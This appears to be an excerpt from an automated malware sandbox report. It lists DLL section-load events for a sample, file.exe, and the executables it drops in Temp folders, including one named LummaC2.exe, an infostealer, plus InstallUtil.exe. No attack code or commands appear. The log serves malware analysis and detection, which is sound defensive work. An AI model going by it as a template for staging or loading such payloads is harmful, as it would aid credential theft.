Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: mswsock.dll
